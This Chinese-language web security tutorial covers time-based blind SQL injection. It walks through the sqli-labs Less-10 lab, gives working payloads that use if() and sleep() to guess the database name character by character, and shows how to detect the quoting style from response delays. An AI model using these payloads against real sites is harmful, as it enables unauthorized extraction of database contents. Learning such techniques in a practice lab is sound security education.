一步一步学习 Web 安全 2.7 时间盲注

原理

时间盲注和上一节的布尔盲注其实差不多,只是还多了一个场景:当无论什么情况下都显示一样的页面的时候可以用时间盲注,通过页面的响应时长来判断信息。

注入语句:
if(left(dababase(),1)='a',0,sleep(10));
这条语句表示如果当前库名的第一个字符是 a,那么页面会在10秒后才显示出来。

练习

sqli-labs 的 less-10:

  1. 注入判断
    url 后输入 id:?/id=1,页面返回:you are in
    输入:?id=1',页面返回:you are in
    输入:?id=1' and '1'='1,页面返回:you are in
    输入:?id=1' and '1'='2,页面返回:you are in
    不管什么情况页面返回的都是 you are in,那我们就可以用时间盲注通过页面返回 you are in 的时间来获取信息

  2. 获取信息

  • 猜测库名:
    输入:?id=1" and if(left(database(),1)='a',0,sleep(5)) --+
    可以看到网页上有个圈圈转了几秒之后才消失,说明库名第一个字符不是 a,替换 a 为别的字母,直到页面是马上响应表示当前字符是正确的。
    当然 if 判断也可以反过来,是正确的字符响应时间长,不是正确的马上响应:
    ?id=1" and if(left(database(),1)='a',sleep(5),0) --+
  • 查询其他数据同理。
  1. 单双引号
    不知道大家是否有注意,less-10 我用的是 『id=1"』,1 后面是一个双引号,前面小节用的都是单引号,因为 less-10 的代码本身是用的双引号。
    那么如何判断单双引号,同样也可以通过响应时长:
    输入:?id=1' and if(true, sleep(5), 0) --+,如果页面 5 秒后响应则是单引号
    输入:?id=1" and if(true, sleep(5), 0) --+,如果页面 5 秒后响应则是双引号

毕竟是 SQL 注入,还是需要对 SQL 语法有一定的了解,建议系统学习一下,注入起来也更加容易理解,哪里不懂要善用搜索。

总结

盲注本身原理是非常简单的,就两个反馈,正确和错误,通过这两个反馈来获取我们想要的数据,只是手工过于繁琐,有兴趣的可以学习使用工具,这里暂不深入。

你可能感兴趣的:(一步一步学习 Web 安全 2.7 时间盲注)